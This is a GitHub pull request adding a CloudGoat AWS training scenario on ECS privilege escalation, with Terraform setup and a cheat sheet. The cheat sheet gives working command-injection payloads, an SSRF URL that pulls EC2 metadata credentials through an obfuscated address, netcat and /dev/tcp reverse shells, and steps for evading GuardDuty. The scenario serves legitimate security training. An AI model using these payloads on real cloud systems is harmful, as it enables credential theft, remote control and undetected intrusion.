Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Scenario | ecs_privesc_evade_protection #233

Open
wants to merge 36 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 17 commits
Commits
Show all changes
36 commits
Select commit Hold shift + click to select a range
a8a4468
Add new scenario/ecs_privesc_evade_protection
West-wise Oct 29, 2023
e4442be
PR requirements reflected.
3iuy-prog Nov 1, 2023
7af9730
Merge pull request #1 from BoB12-C-G-V/scenario/ecs_privesc_modify
3iuy-prog Nov 1, 2023
a361539
Add vpc.tf & resolve an issue about tf version.
3iuy-prog Nov 5, 2023
22d8842
Merge pull request #2 from BoB12-C-G-V/scenario/ecs_privesc_modify
3iuy-prog Nov 5, 2023
dfa19cc
Remove duplicate writes of commands `echo "aws_session_token = <token…
3iuy-prog Nov 6, 2023
63f7f2a
remove unused data sources.
3iuy-prog Nov 6, 2023
bc94bfc
Add required_providers for archive & time.
3iuy-prog Nov 6, 2023
1c121f7
Define CloudWatch Lambda Log Group.
3iuy-prog Nov 6, 2023
c38018f
Add Easy Path.
3iuy-prog Nov 9, 2023
41a4730
add Summary in Main README.md
West-wise Nov 14, 2023
caa3f79
fix typo
West-wise Nov 14, 2023
49bdb81
Revert "fix typo"
West-wise Nov 14, 2023
cb5d2b8
Revert "add Summary in Main README.md"
West-wise Nov 14, 2023
8c01e74
Remove horizontal line in scenario/ecs_privesc_evade_protecton/README.md
3iuy-prog Nov 14, 2023
daf3680
Edit root README.md
3iuy-prog Nov 14, 2023
fe7156d
Allow ecs:ListClusters for role "cg_web_developer_policy"
3iuy-prog Nov 14, 2023
fbd6278
Merge remote-tracking branch 'origin/master' into scenario/ecs_prives…
3iuy-prog Dec 11, 2023
928ad74
Update scenario's cheat_sheet.md.
3iuy-prog Dec 13, 2023
f55b48d
Using ECR instead of Docker Hub.
3iuy-prog Dec 14, 2023
01f4083
Remove comments about docker hub.
3iuy-prog Dec 15, 2023
5c9cd5b
Update script to make hcl can handle docker path.
3iuy-prog Dec 15, 2023
585b491
Remove env setting on script.
3iuy-prog Dec 15, 2023
93c6496
Once the scripts would be fail, make tf fail.
3iuy-prog Dec 15, 2023
6016473
If the docker push fails, try pushing it up to 3 times again.
3iuy-prog Dec 15, 2023
8a9849d
Merge branch 'RhinoSecurityLabs:master' into scenario/ecs_privesc_eva…
3iuy-prog Dec 21, 2023
f9c56e3
change command `python` to `python3` in local-exec
3iuy-prog Dec 24, 2023
e99042f
add `depends on for s3 policy` in cloudtrail.tf
3iuy-prog Dec 24, 2023
941aa82
check architecture and add "--platform=linux/arm64" for arm.
3iuy-prog Dec 24, 2023
e712529
Remove docker login in `pop-dockfile.py`.
3iuy-prog Dec 24, 2023
fafbf7f
Restore describe about `glue_privesc` in README.md
3iuy-prog Dec 24, 2023
0578065
Add a note about docker.
3iuy-prog Dec 24, 2023
60605db
build the container with Linux/amd64 by force.
3iuy-prog Dec 29, 2023
e0d3bf1
Merge branch 'RhinoSecurityLabs:master' into scenario/ecs_privesc_eva…
3iuy-prog Apr 22, 2024
13a9e96
fix scenario create command in `README.md`
Apr 30, 2024
b305d81
set timeout to `curl` to make less down the web container
Apr 30, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -227,6 +227,14 @@ Starting with access the "ruse" EC2 the user leverages the instace profile to ba

[Visit Scenario Page.](scenarios/ecs_efs_attack/README.md)

### ecs_privesc_evade_protection (Medium / Moderate)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Overwriting glue_privesc


`$ ./cloudgoat.py create ecs_privesc_evade_protection`

A user begins by accessing a working web service to a container inside EC2. The attacker can exploit a web service vulnerability to get credentials from the metadata API in EC2, or to control the container. This credential allows the attacker to initiate a new container with a specific role and control it. Based on this action, make a priviledge escalation, and read FLAG in S3.

[Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md)

## Usage Guide

The basic anatomy of a CloudGoat command is as follows:
Expand Down
6 changes: 3 additions & 3 deletions core/python/commands.py
Original file line number Diff line number Diff line change
Expand Up @@ -399,7 +399,7 @@ def create_scenario(self, scenario_name_or_path, profile):
}

# The if-else block below exists because the detection_evasion scenario requires user input at deploy time.
if scenario_name == "detection_evasion":
if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]:
tf_vars["user_email"] = self.get_user_email()

plan_retcode, plan_stdout, plan_stderr = terraform.plan(
Expand Down Expand Up @@ -525,7 +525,7 @@ def destroy_all_scenarios(self, profile):
"region": self.aws_region,
}

if scenario_name == "detection_evasion":
if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]:
tf_vars["user_email"] = self.get_user_email()

destroy_retcode, destroy_stdout, destroy_stderr = terraform.destroy(
Expand Down Expand Up @@ -620,7 +620,7 @@ def destroy_scenario(self, scenario_name_or_path, profile, confirmed=False):
"region": self.aws_region,
}

if scenario_name == "detection_evasion":
if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]:
tf_vars["user_email"] = self.get_user_email()

destroy_retcode, destroy_stdout, destroy_stderr = terraform.destroy(
Expand Down
61 changes: 61 additions & 0 deletions scenarios/ecs_privesc_evade_protection/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
# Scenario: ecs_privesc_evade_protection
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you make a note that this scenario needs docker to run


**Size**: Medium

**Difficulty**: Moderate

**Command**: `$ ./cloudgoat.py create guardduty_bypass_with_ecs`

## Scenario Resources

- 1 ECS with:
- 1 * ASG with :
- 1 * EC2
- 1 * Service (web container)
- 2 * S3 (1 * secret, 1 * cloudtrail)
- Detection Mechanisms
- GuardDuty enabled
- CloudWatch
- CloudTrail
- EventBridge
- Lambda
- SES

## Scenario Start(s)

Scenario starts as a web user.

> **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error.

## Scenario Goal(s)

Read flag.txt in S3 with avoiding various defense techniques.

## Summary

There is a very vulnerable website operating on AWS. The site's security administrator became frightened and took some web security measures and enabled GuardDuty for EC2's credentials. Take a detour and approach S3 and win the secret string.

## Email setup

- If AWS Guard Duty detects your attack in the scenario, we will send you an email. So you need to register an email and respond to AWS authentication mail sent to that email before start.
- If you prefer not to use a standard email address, you might consider services such as https://temp-mail.org/ or https://www.fakemail.net/.

# SPOILER ALERT: There are spoilers for the scenario blew this point.

## Exploitation Route

![Scenario Route(s)](assets/diagram.png)

## Scenario Walk-through

### Easy Path
- Attacker accesses the web service of a container inside EC2 managed by ECS.
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container.
- The attacker accesses S3. Gets the Secret String in `flag.txt` and exits the scenario.

### Hard Path
- Attacker accesses the web service of a container inside EC2 managed by ECS.
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container.
- The attacker defines and executes an ECS task with the authority of the web developer to privesc or bypass mitigations. Perform a reverse shell attack to access the container been created.
- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String in `secret-string.txt` and exits the scenario.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Create a manifest.yml file.
example

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Once we have the size & difficulty, add you scenario to the main readme file.

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
98 changes: 98 additions & 0 deletions scenarios/ecs_privesc_evade_protection/cheat_sheet.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
# Easy Path

Go to `http://<ec2_ip_address>`

### Command Injection

```
; aws s3 ls
; aws s3 ls s3://<bucket-name>/
; aws s3 cp s3://<bucket-name>/flag.txt .
; cat flag.txt
```

### SSRF
```
# SSRF Attack.
http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>

# Configure credentials.
aws configure --profile attacker
echo "aws_session_token = <token>" >> ~/.aws/credentials

# Access to S3.
aws s3 ls
aws s3 ls s3://<bucket-name>/
aws s3 cp s3://<bucket-name>/flag.txt .
cat flag.txt
```


# Hard Path

Go to `http://<ec2_ip_address>`

### SSRF

```
http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>
aws configure --profile attacker
echo "aws_session_token = <token>" >> ~/.aws/credentials
```

### Command Injection

- prepare another host for revshell attack with `nc -lvp 4000`
- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &`

### For more information

- more information about iam

```
aws sts get-caller-identity
aws iam get-role --role-name <role>
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>
aws iam get-role-policy --role-name <role> --policy-name <policy>
aws iam list-roles
```

- more information about ecs

```
aws ecs list-clusters --region <region>
aws ecs describe-clusters --region <region> --clusters <cluster>
aws ecs list-container-instances --region <region> --cluster <cluster_arn>
```

### ECS Privesc

* Attacker prepare revshell at other public ip point with `nc -lvp 4000`.

* And now come back to CLI.

```
# ECS Task definition with revshell command.
aws ecs register-task-definition --region <region> --family <task_name> --task-role-arn <task_role_arn> --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\"\"]}]"

# For run-task, find available subnets.
aws ec2 describe-subnets --region <region>

# Run task.
aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_arn> --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"<subnet>\"]}}"
```
After a few minutes, the revshell will be connected by container.
Let's do it on revshell.

### Access S3

```
apt-get update
apt-get install awscli

aws s3 ls
aws s3 ls s3://<bucket-name>/
aws s3 cp s3://<bucket-name>/secret-string.txt .
cat secret-string.txt
```
20 changes: 20 additions & 0 deletions scenarios/ecs_privesc_evade_protection/manifest.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
---
# The name of the scenario, alpha-numeric characters only, and underscore-separated
- name: ecs_privesc_evade_protection
# The name of the author(s), comma separated
- author: Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo
# The version of the scenario, where major versions are breaking changes and minor are small fixes.
- version: 1.0
# Text displayed to the user when they type "{{ scenario_name }} help"
- help: |
Within the container that is running a web hosting service on an EC2 instance managed by ECS,
please access the metadata service to obtain the temporary credentials for the EC2 instance.
Then, exploit these privileges to read the secret string inside the flag.txt file located within S3.

Note: if AWS GuardDuty detects your attack, it will refresh the temporary credentials of the EC2 instance
and send an alert email to the registered address.
Endeavor to proceed with utmost caution to avoid triggering these alerts.

# Records the date upon which this scenario was last updated, in MM-DD-YYYY format
- last-updated: 11-02-2023
...
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
# Using CloudTrail for GuardDuty
resource "aws_cloudtrail" "cloudtrail" {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add a depends on for the bucket policy aws_s3_bucket_policy.trail_bucket_policy

name = "cg-cloudtrail-${var.cgid}"
s3_bucket_name = aws_s3_bucket.cloudtrail_bucket.id
enable_logging = true
}
29 changes: 29 additions & 0 deletions scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
# Define a CloudWatch Event Rule to capture AWS GuardDuty findings
resource "aws_cloudwatch_event_rule" "guardduty_events" {
name = "cg-guardduty-events-${var.cgid}"
event_pattern = jsonencode({
"source" : ["aws.guardduty"],
"detail-type" : ["GuardDuty Finding"],
"detail": {
"type": [
"UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS",
]
}
})
}

# Create a target for the CloudWatch Event Rule to invoke a Lambda function
resource "aws_cloudwatch_event_target" "ecs_event_target" {
rule = aws_cloudwatch_event_rule.guardduty_events.name
arn = aws_lambda_function.guardduty_lambda.arn
}

# Enable AWS GuardDuty for threat detection and continuous monitoring
# Note : The GuardDuty in the user account must be completely disabled to function normally.
resource "aws_guardduty_detector" "detector" {
enable = true
}

resource "aws_cloudwatch_log_group" "lambda_log" {
name = "/aws/lambda/${aws_lambda_function.guardduty_lambda.function_name}"
}
39 changes: 39 additions & 0 deletions scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
data "aws_caller_identity" "current" {}

# Search based on tag to get the IP of EC2 that is automatically generated by ASG.
data "aws_instances" "asg_instance" {
depends_on = [time_sleep.wait_for_instance]

instance_tags = {
Name = "cg-ec2-instance-${var.cgid}"
}
}

data "aws_availability_zones" "current_az" {
state = "available"
}

# Get AMI of the latest version of Amazon Linux 2 for ECS.
data "aws_ami" "latest_amazon_linux" {
most_recent = true

filter {
name = "name"
values = ["amzn2-ami-ecs-hvm-*-x86_64-ebs"]
}

filter {
name = "virtualization-type"
values = ["hvm"]
}

owners = ["amazon"]
}

# compress index.py to lambda.zip
data "archive_file" "lambda_zip" {
type = "zip"
source_file = "./index.py"
output_file_mode = "0666"
output_path = "./lambda.zip"
}
Loading